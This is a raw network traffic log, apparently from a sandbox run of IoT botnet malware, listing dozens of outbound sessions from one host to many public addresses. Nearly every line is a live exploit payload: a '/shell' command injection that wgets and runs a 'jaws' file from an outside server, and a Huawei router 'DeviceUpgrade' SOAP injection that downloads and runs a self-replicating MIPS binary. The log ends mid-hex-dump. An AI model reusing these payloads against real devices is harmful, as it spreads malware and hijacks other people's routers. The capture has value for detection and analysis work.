Jan 30, 2025 10:43:01.449193954 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.14	56906	120.23.138.222	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:01.450083971 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.14	48872	89.9.237.196	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:01.451287031 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.14	56414	124.170.78.40	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:01.452461958 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.14	38736	154.164.115.164	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:01.453908920 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.14	54482	130.219.127.143	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:01.455054998 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.14	33986	70.171.35.104	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:01.456126928 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.14	37028	196.3.191.224	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:01.457443953 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.14	33624	198.151.162.206	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:01.458467960 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.14	50112	149.247.70.10	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:01.459990978 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.14	50440	90.64.6.63	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:01.461219072 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.14	45876	161.80.48.54	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:01.462310076 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.14	57840	95.58.145.95	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:01.463603973 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.14	48034	14.190.218.71	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:01.464865923 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.14	36320	103.213.214.129	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:01.466011047 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.14	60270	155.198.4.108	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:01.467189074 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.14	56900	76.228.178.139	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:01.468174934 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.14	43418	104.250.231.48	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:01.469492912 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.14	32818	57.162.48.58	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:01.470901966 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.14	38712	200.209.40.223	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:01.471937895 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.14	46950	17.43.38.50	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:02.129961967 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.14	42018	72.103.254.195	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:02.131068945 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.14	53886	41.102.78.109	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:02.160315990 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.14	44864	71.52.157.180	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:02.161359072 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.14	34110	218.142.171.47	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:02.192585945 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.14	51166	140.69.154.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:02.224381924 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.14	37070	66.84.50.216	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:02.288280964 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.14	41030	64.30.33.55	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:02.289164066 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.14	55542	196.131.224.189	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:02.320342064 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.14	37928	126.245.114.212	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:02.352615118 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.14	32880	63.179.229.61	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:02.384386063 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.14	41712	107.102.56.208	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:02.416259050 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.14	45982	20.190.13.119	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:02.417002916 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.14	57588	192.36.128.195	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:02.417661905 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.14	60104	23.12.102.222	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:02.448229074 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.14	38984	8.228.23.204	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:02.448915005 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.14	58598	109.161.22.103	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:02.449553013 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.14	34680	156.153.93.40	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:03.140427113 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.14	42412	41.239.226.175	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:03.141166925 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.14	39394	156.140.48.212	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:03.141789913 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.14	51996	156.1.171.213	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:03.142381907 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.14	35920	156.63.240.57	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:03.145289898 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 